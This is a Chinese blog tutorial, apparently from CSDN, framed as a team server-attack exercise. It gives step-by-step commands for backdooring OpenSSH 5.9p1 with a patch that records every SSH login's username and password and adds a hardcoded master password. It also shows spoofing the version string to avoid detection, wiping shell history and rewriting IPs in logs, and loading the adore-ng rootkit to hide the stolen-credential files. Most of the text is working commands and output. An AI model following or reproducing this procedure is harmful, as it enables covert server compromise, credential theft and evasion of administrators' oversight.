前言
大家好,我是沐风晓月,我们开始组队学习了,介绍下我们的情况:
这几天跟队员 迎月,虹月,心月,古月打擂台,我和心月一组,相互攻占对方服务器。 终于在今早凌晨三点拿下对方服务器的权限。
接下来我们第一想做的就是如何维持这个权限,还要不被对方发现。
关于维持权限,我们第一时间想到的就是在对方服务器留下一个后门,搜索了很多资料,发现这个openssh的后门正合我意。
于是开干。。。
文章目录
- 前言
- 一. 配置实验环境
- 二. 对openssh-5.9p1 打后门漏洞补丁
- 2.1 解压
- 2.2 打补丁
- 2.3 修改后门密码和记录位置
- 2.4 安装打了后门补丁的sshd服务
- 2.5 启动并查看版本号
- 三. 测试
- 3.1 测试能否记录用户名和密码
- 3.2 修改了密码还能否记录
- 3.3 .能否记录普通用户密码
- 3.4 测试 后门密码是否可以登录
- 3.5 清理本次登录的脚印
- 四. 安装adore-ng
- 4.1 安装的过程
- 4.2 隐藏文件
- 4.3 测试文件是否还能被找到
- 总结
一. 配置实验环境
为了确保修改对方openssh后,还能不被古月她们发现,我们先检查了对方服务器的ssh版本和gcc版本:
- 检查ssh 版本
[root@mufeng ~]# ssh -vOpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
- 检查gcc是否已经安装
[root@mufeng ~]# yum install gcc gcc-c++ -y
然后开始上环我们需要的包,安装完成后,再把包全部删掉即可:
- 上传我们需要的包
上传0x06-openssh-5.9p1.patch.tar.gz , openssh-5.9p1.tar.gz ,inotify-tools-3.13.tar.gz 到linux 的/software目录
[root@mufeng ~]# mkdir /software[root@mufeng ~]# cd !$cd /software[root@mufeng software]# yum install lr* -y &>/dev/null && echo "ok"ok[root@mufeng software]# rz ## 上传软件包[root@mufeng software]# ls0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gzinotify-tools-3.13.tar.gz sshpass-1.06.tar.gz
上传完成包之后,开始对打补丁并进行安装:
二. 对openssh-5.9p1 打后门漏洞补丁
2.1 解压
[root@mufeng software]# tar xf openssh-5.9p1.tar.gz You have mail in /var/spool/mail/root[root@mufeng software]# tar xf 0x06-openssh-5.9p1.patch.tar.gz [root@mufeng software]# ls0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1 openssh-5.9p1.tar.gzinotify-tools-3.13.tar.gz openssh-5.9p1.patch sshpass-1.06.tar.gz[root@mufeng software]#
2.2 打补丁
[root@mufeng software]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/[root@mufeng software]# cd !$cd openssh-5.9p1/[root@mufeng openssh-5.9p1]# patch < sshbd5.9p1.diff patching file auth.c # 认证patching file auth-pam.c # 认证patching file auth-passwd.c # 认证patching file canohost.cpatching file includes.hpatching file log.cpatching file servconf.c # 关于ssh 服务器patching file sshconnect2.c ## ssh 连接patching file sshlogin.c ## 关于登录,记录root密码patching file version.h ## 关于版本
2.3 修改后门密码和记录位置
[root@mufeng openssh-5.9p1]# tail -6 includes.h int secret_ok;FILE *f;#define ILOG "/tmp/ilog" ## 记录登录到本机的用户名和密码#define OLOG "/tmp/olog" # 记录本机登录其他服务器用户名和密码#define SECRETPW "mufeng123" # 后门密码#endif /* INCLUDES_H */[root@mufeng openssh-5.9p1]#
修改版本号(修改的和原来一致)
[root@mufeng openssh-5.9p1]# cat version.h /* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */#define SSH_VERSION "OpenSSH_5.3"#define SSH_PORTABLE "p1"#define SSH_RELEASE SSH_VERSION SSH_PORTABLE[root@mufeng openssh-5.9p1]#
2.4 安装打了后门补丁的sshd服务
[root@mufeng openssh-5.9p1]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel >/root/instal.txt && echo "ok"
开始编译安装
[root@mufeng openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5[root@mufeng openssh-5.9p1]# make && make install
2.5 启动并查看版本号
[root@mufeng openssh-5.9p1]# service sshd restart停止 sshd: [确定]正在启动 sshd: [确定][root@mufeng openssh-5.9p1]# ssh -VOpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
这里一定要设置的与ssh原来的版本号一致,要不然就暴露了。
三. 测试
测试主要基于以下几点:
- 测试是否可以记录对方登录服务器的账号和密码
- 测试在用户修改密码后,还能继续记录账号和密码
- 测试是否可以记录普通用户的密码
- 测试是否可以使用后门漏洞密码登录系统
3.1 测试能否记录用户名和密码
root@mufeng tmp]# ssh 192.168.1.43The authenticity of host '192.168.1.43 (192.168.1.43)' can't be established.ECDSA key fingerprint is bf:a1:c7:0d:6c:4b:e4:19:f5:b8:16:e3:f8:4a:e5:5c.Are you sure you want to continue connecting (yes/no)? yesWarning: Permanently added '192.168.1.43' (ECDSA) to the list of known hosts.root@192.168.1.43's password: Last login: Fri Mar 17 14:40:10 2023 from 192.168.1.4[root@mufeng ~]# exitlogoutConnection to 192.168.1.43 closed.[root@mufeng tmp]# lsilog olog ##查看是否可以记录密码[root@mufeng tmp]# cat ilog user:password --> root:12345678## 包含用户名+密码+IP[root@mufeng tmp]# cat olog user:password@host --> root:12345678@192.168.1.43[root@mufeng tmp]#
以上证明了,可以记录对方的账号和密码
3.2 修改了密码还能否记录
测试过程代码:
[root@mufeng tmp]# echo 1234567890 |passwd --stdin root更改用户 root 的密码 。passwd: 所有的身份验证令牌已经成功更新。[root@mufeng tmp]# ssh 192.168.1.43 root@192.168.1.43's password: Last login: Fri Mar 17 15:03:29 2023 from 192.168.1.43[root@mufeng ~]# exitlogoutConnection to 192.168.1.43 closed.[root@mufeng tmp]# cat olog user:password@host --> root:12345678@192.168.1.43user:password@host --> root:1234567890@192.168.1.43[root@mufeng tmp]# cat ilog user:password --> root:12345678user:password --> root:1234567890[root@mufeng tmp]#
以上证明了即使对方修改了密码,也一样可以记录。
3.3 .能否记录普通用户密码
[root@mufeng tmp]# useradd mufeng[root@mufeng tmp]# echo 123456 |passwd --stdin mufeng更改用户 mufeng 的密码 。passwd: 所有的身份验证令牌已经成功更新。[root@mufeng tmp]# ssh mufeng@192.168.1.43mufeng@192.168.1.43's password: [mufeng@mufeng ~]$ whoamimufeng[mufeng@mufeng ~]$ exitlogoutConnection to 192.168.1.43 closed.[root@mufeng tmp]# cat ilog user:password --> root:12345678user:password --> root:1234567890user:password --> mufeng:123456[root@mufeng tmp]# cat olog user:password@host --> root:12345678@192.168.1.43user:password@host --> root:1234567890@192.168.1.43user:password@host --> mufeng:123456@192.168.1.43[root@mufeng tmp]#
以上代码成功的记录了,对方使用普通用户登录时的用户名和密码
3.4 测试 后门密码是否可以登录
[root@mufeng tmp]# cat olog user:password@host --> root:12345678@192.168.1.43user:password@host --> root:1234567890@192.168.1.43user:password@host --> mufeng:123456@192.168.1.43[root@mufeng tmp]# ssh root@192.168.1.43root@192.168.1.43's password: Last login: Fri Mar 17 15:05:42 2023 from 192.168.1.43[root@mufeng ~]# exitlogoutConnection to 192.168.1.43 closed.[root@mufeng tmp]# cat olog user:password@host --> root:12345678@192.168.1.43user:password@host --> root:1234567890@192.168.1.43user:password@host --> mufeng:123456@192.168.1.43user:password@host --> root:mufeng123@192.168.1.43[root@mufeng tmp]#
3.5 清理本次登录的脚印
一定要清除掉自己登录的IP信息
[root@mufeng ~]# export HISTFILE=/dev/nullYou have mail in /var/spool/mail/root[root@mufeng ~]# export HISTSIZE=[root@mufeng ~]# export HISTFILESIZE=[root@mufeng ~]# echo >/root/.bash_history# 这种清除方式,要确保一开始没有历史记录,如果有历史记录,可以用sed的方式替换[root@mufeng ~]# sed -i 's/192.168.1.43/127.0.0.1/g' /root/.bash_history## 其他访问日志也可以用用sed替换ip , 瞒天过海
接下来要把生成的文件进行隐藏,本次隐藏,我们沐风晓月组采用的是adore-ng
, 这个工具是以模块的方式运行的,就类似于你电脑上的声卡,只要隐藏的好很难被发现。
这里我只写对两个文件/tmp/olog
和/tmp/ilog
进行隐藏,其他的文件和目录也是同样的方法。
四. 安装adore-ng
4.1 安装的过程
- 安装依赖包
[root@mufeng ~]# rpm -ivh /mnt/Packages/kernel-devel-2.6.32-696.el6.x86_64.rpm warning: /mnt/Packages/kernel-devel-2.6.32-696.el6.x86_64.rpm: Header V3 RSA/SHA1 Signature, key ID c105b9de: NOKEYPreparing... ########################################### [100%] 1:kernel-devel ########################################### [100%]
- 上传需要adore-ng
[root@mufeng ~]# rz 解压[root@mufeng ~]# unzip adore-ng-master.zip [root@mufeng ~]# cd adore-ng-master[root@mufeng adore-ng-master]# lsadore-ng.c ava.c libinvisible.h Makefileadore-ng.h libinvisible.c LICENSE README.md
- 开始安装
安装[root@mufeng adore-ng-master]# make 加载模块[root@mufeng adore-ng-master]# insmod adore-ng.ko[root@mufeng adore-ng-master]#
- 查看命令是否安装
[root@mufeng adore-ng-master]# ./ava h Usage: ./ava {h,u,r,R,i,v,U} [file or PID] I print info (secret UID etc) h hide file # 隐藏文件 u unhide file ## 不隐藏 r execute as root ## 像root一样去运行 R remove PID forever U uninstall adore i make PID invisible ## 隐藏进程 v make PID visible
4.2 隐藏文件
需要隐藏 ilog, olog
[root@mufeng adore-ng-master]# ./ava h /tmp/ilog 56,0,0,56Adore 1.56 installed. Good luck.File '/tmp/ilog' is now hidden.[root@mufeng adore-ng-master]# [root@mufeng adore-ng-master]# ./ava h /tmp/olog 56,0,0,56Adore 1.56 installed. Good luck.File '/tmp/olog' is now hidden.
查看是否隐藏成功:
4.3 测试文件是否还能被找到
- 使用find查找
[root@mufeng tmp]# find ./ -mtime -1././orbit-root./orbit-root/linc-f46-0-4088aa9a676df./gconfd-root./gconfd-root/saved_state_db283d80792451243e0a59a40000002b
发现无法找到文件了
但当我们直接使用文件名查看内容的时候,还是可以查看的,说明文件并不是被删除了,而是被隐藏
了
总结
虹月组目前还未发现他们的服务已经被植入后门漏洞,今天心月提到可以再加上一个功能:邮件发送功能,实现当虹月组登录服务器,就能收到信息。
听起来是个好主意,下次补上。
好了以上是本文的全部内容,下次再见吧。
💕 好啦,这就是今天要分享给大家的全部内容了,我们下期再见!
💕 本文由沐风晓月原创,首发于CSDN博客, 博客主页:mufeng.blog.csdn.net
💕 每一次学习都很枯燥,单调,孤独,甚至看不到未来,每一次遇到问题都让人疑惑,焦虑,怀疑,甚至想要放弃。 但坚定的走下来,会收获很多。收获的不单单是技术的成长还有一颗强大的心。
💕 喜欢的话记得点赞收藏哦